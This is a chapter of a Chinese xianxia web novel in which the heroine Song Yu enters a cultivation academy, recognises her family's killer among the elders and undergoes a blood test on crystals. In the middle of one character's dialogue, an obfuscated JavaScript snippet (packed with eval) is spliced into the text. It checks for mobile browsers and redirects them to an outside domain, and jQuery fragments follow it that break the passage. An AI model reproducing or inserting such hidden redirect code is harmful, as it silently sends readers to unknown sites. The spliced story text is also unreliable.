“突突突——”驴车慢悠悠地进了大观园。
那几头驴眼歪嘴斜的,便是连路也看不清,将后边拉着的生铁车拽进了泥土地。
“呃——呃——”驴叫着,又摇晃着身体踏着蹄子,走上修葺良好的大道。
宋钰挤在驴车的角落,左右全是与她年纪相仿的少女和少年。被颠了几下,她只觉得胃里翻腾,恨不能一口吐下来。
旁边的人还在叽叽喳喳地吵不停,讨论的都是进入青月沧崆之后的美好生活。也不知道花生米吃了几斤。
“哇,这个学院真大。我从小只在夫子的书本里看到过,不曾想竟真是粉砖玉瓦,百里苍翠,简直是像画中的世界!”
“那还用说,这儿可都是修仙者,和先前的凡世俗尘可不同,闭上你没见过世面的嘴巴。往后,我们可都是要在沧崆学院里修行的人。”少年语调上扬,言语中不乏志气。
“那以后都会有糖果吃吗?”有一个年纪很小的孩子怯怯出声。
“有。糖霜要多少有多少,甚至连冰糖都有。”
“呵。”宋钰在咳嗽之中冷笑了声。
大家的目光汇聚在她身上。大部分的目光都是沉默的、谨慎的。
宋钰随着颠簸的驴车摇晃,根本不看向他们,只是淡漠地将视线投向这个金碧辉煌、如梦似幻一般的世界。
不久,驴车缓缓停在一处,俯下头去吃墙角的嫩草。
面前是一座拔地而起的圆柱形建筑,没有顶,三面环绕而一面打开。所以能够清楚看清里边有个方形台被人声鼎沸地拥住。
“怎么回事,怎么停了?”
“不是说要去宗门大殿向河海长老报道的吗?”
“这是哪儿?”宋钰手臂紧挨着的少女凑在她的耳朵边,疑惑发问。
宋钰仰头拉开和她的距离,没说话也不正眼看她,只是凝视着外墙上零落的几笔,隐约能够辨认出“角斗场”三个字。
又是那个雄心壮志的少年,他的眼睛里迸发出狂热,旋即大吼,“是东方角斗场!学院仙术排名榜的挑战地。”他从驴车上一跃而下,冲进密密麻麻的人群之中。
而后又有零散几个下车前去观赏的,不过大部分都留在狭小的车内,远远地看着角斗场内的盛况。
宋钰收回视线,将折叠的腿勉强在多出来一丢的空间内放下,歪着头瞌睡。
突然,台中央光芒大盛,人群也爆发出巨大的尖叫与欢呼。
她被刺眼的光芒晃了下,将将睁开双眼。眼前却突然寒光乍现,长剑的银刃从距她眼睛不足一寸的距离擦过。
宋钰偏头闪躲,瞳孔恰好对准了罪魁祸首——那柄剑此刻偏锋侧进,疾速回旋着忽闪至数尺,在半空之中耍了个完美的花刀舞,而后直直地落在那人手中。
她掀起眼皮瞧,那人远在高台中央。
周遭隔绝出绝对的空地,无人敢逾越向前。
而他只是漫不经心地耷拉着眼,懒散地站着。
连正眼也不曾看台下被打得鼻青脸肿的手下败将一眼,一遍又一遍地擦着剑。
宋钰的视线挪到他的嘴皮上,虽然远,但还是看见他吐出那个字的嘴型。
——脏。
她收回视线,懒得再向这等装腔作势之人分去半分注意。
宋钰下了车,睨了这些一心一意进食的驴一眼。拿出腰间随身携带的一把匕首,干脆利落地将墙角的草全都割下来扬成碎。
吃吃吃,就知道吃,蠢驴。
她心底没由来地涌上一股无名火。
而后腾身跃上车,屁股坐在车架子边上,双腿悬空中,半躺着闭目养神。
于是驴车又摇晃着出发了。
下一个目的地是——宗门大殿。
嘈杂声由远及近,车轮滚动的声音暂停,睁开眼的那一刻,身边的人也都陆陆续续下了车。大家围在一起,打量着这座宏伟的大殿。
高耸而花纹繁复的横梁悬在头顶,遮去烈日。檀木做成、散发幽香的椅子此刻置于屁股下,硌得慌。
宋钰拿起青釉陶瓷杯,倒了满杯茶水,一饮而尽。
苦涩的滋味从舌尖蔓延到喉咙。
之后茶壶旁边围着的一圈杯子纷纷被人拿起,只剩下零落几个。
远处爽朗的笑声传来,吸引他们一众人的目光。一座气派的龙头轿撵旁,为首的身后跟了一众训练有素的小厮。
“长老,别来无恙啊。”
浑厚的声音带着真气传到在场每个人耳中。
只此一句,宋钰便认出了来人。
她兀地抬眼看过去,死死地锁住那位此刻谈笑风生的大儒。
一袭墨黑金丝棉袍,领口绣有象牙白暗纹爪牙,头戴玉冠,仪态儒雅。还有她便是化成灰也难以忘记的一坨花白胡子。
“此前莲花镇一役,多亏师兄出手相助,才保住了我门众多修士。大恩不言谢,我河海必定将毕生所学对弘益倾囊相授,师兄不必多言。”河海长老拱手作揖,起身拍那小儿的肩膀时,笑得脸颊两处横肉抖动。
宋钰攥紧了拳。
寒暄之间,她看见被长辈推向前受众人瞩目的狂妄小儿。
那人年纪十之八九,一身红袍,穿得骚包又张扬,此刻大摇大摆地绕着江河海转了一圈,上下都打量了个遍,“你这老头,有何本事拿出来瞧瞧,可别让我白白拜你为师。”
“放肆,贺弘益!”
怒斥之间,贺弘益剑已出鞘,一众人只看得清他的身形残影猛逼近江河海。
一道白光闪过,只见河海长老仍端正站立于原地,未挪动半寸,而地上划出长长一道磨损痕迹,贺弘益退后了半步。
不过他脸上仍是云淡风轻,只是不做声响收了剑,勾唇作揖,“河海老头,我认你这个师父了。”
“哈哈哈哈哈哈哈。”江河海一阵爽朗的笑声,连连称好,“从此你便加入沧崆学院,要勤加修习不得延误。”
“我这逆子,烦请费心了。以后可要在这儿好好修习,听你河海师父的话。”贺廉也笑得皱纹糊了满脸,其中不乏对犬子的骄傲。
宋钰死死咬着后槽牙,只觉得心脏被锁死那般拥挤,面前全是贺廉面无表情拔剑斩时,溅上他花白色胡子的红色血迹。
猩红色在亮堂的大殿之内不断重现。她几近头痛欲裂。
江河海和气地送走了贺廉,命人领着贺弘益好好安顿下来,又处理了几件看起来根本无关紧要的小事,才堪堪施舍了他们这群不显眼而堆在角落的人一眼。
“烦请等等罢。”
他的话倒是说得客气。
说罢,又抬脚走出了宗门大殿,空荡的大殿之上只剩下他们一众人面面相觑。
“我们会被丢掉吗?”宋钰又听见旁边的双马尾小女孩问。
“怎么会,我们有修行的资质,河海长老才把我们从莲花镇带上来,怎会说不要我们就不要。”是刚刚那个豪情万志的少年,急急地从角斗场摸路到这儿来,此刻满头大汗。
“我再不要回莲花镇那个鬼地方。”
“我也是,我也是。”
“我爸妈说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406409|184488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是我没能带点儿钱回去,就把我卖了。我......”
“只要能留在这儿,我什么都愿意做。”他们这时候才开始窃窃私语,迫切地报名彰显决心。
宋钰盯着大殿内的通天柱子不吱声,大殿坐地十顷,仅一个宗门大殿便足有一整个莲花镇那般大。这顶天立地支撑的柱子粗约需四人合抱,东边已知一十四根,未见方位只得见隐约,并不确切。
整座大殿,柱子数不会少于五十六。
柱子顶端和基底均有铁片加固,上连横梁下连地基深约数尺。
三炷香后。
殿内脚步声由远及近。——两道脚步声一前一后,几近重叠。
她低头,敛下所有神色。
来人为首的是刚刚的河海长老,也正是将他们一众人从莲花镇中带回青月沧崆的人。
跟在他后边的,是一个生面孔——抱着一堆集合红色、粉色和紫色的三色晶石,以至于晶石折射的光芒将整张脸都遮挡住,让他的那张大饼脸白得发光看不清五官。
“河海长老,你确定不要找些测资质的晶石过来,让这群小孩都测测天赋?”他开口。
“不必。“江河海几乎是一口回绝,”年过十八才习得感知,不过都是些下等资质的苗子,修行不了,连筑基都达不成。”
他说着话,根本没避着他们。许是他们根本不足为惧,不过是些手无缚鸡之力的下等人罢了。谈何与生来便含着金汤匙高高在上、从小就修习仙法的修仙者相提并论。
“那您为何......”生面孔皱眉问,不过后面的话戛然而止——显然,他想到了什么。
江河海缓缓走到他们面前,用目光审视了他们一圈,“临沧,让你准备的缘之晶石,可都蓄足了淮溯的灵气?”
“是,都已准备妥当。”临沧应声。
想来缘之晶石指的就是这三色晶石。宋钰的眸色深了深。
河海大手一挥,“你们所有人都割破手指,将血滴在这些晶石上。”
又是这种令人不爽的命令口气。
宋钰停在原地没动。
身边的人都一个一个排着队,唯唯诺诺地领了晶石,又眼一闭将食指刺破。
豆大的血珠滴下,流淌过晶石表面,而后顺着滴到了地上。
河海长老和临沧的目光扫视全场,最后落到了宋钰的身上。没等她反应过来,整个人便不受控制地走向前。
手指划破,血珠一滴一滴不间断地落在晶石之上。
刹那间,晶石似乎光芒更亮了些。
不过一瞬之后,缘之晶石恢复如常,毫无反应。
江河海直挺立的脊背一下子垮了,自言自语般地呢喃道,“怎么会......”
“长老,助淮溯渡劫的天定之人,一定藏于他们之中吗?”临沧问。
江河海仔细思索,“天机台星象所指,确在莲花镇。据颜捣所说,所有十八九岁适龄修者均集于此。可如今竟寻不到这天定之人。”
“对了。”临沧突然恍然,“是否与他们未曾引气入台有关,毕竟颜长老所说天定之人乃修行者。”
江河海眼神一凛,“无极命石近来异动,想来确有其人。此人必定藏于其中。”
而后他又站起来,俯视面前众人,“你们一众人,从明日起有人会教导你们如何引气入体。七日之内,有人血液能与此晶石相融,覆盖乃至全朱色,方能留在此地随我修习。”
“其余若干,全都逐出学院。永生不得上清澄山。”灵气带着音浪在大殿之内回响。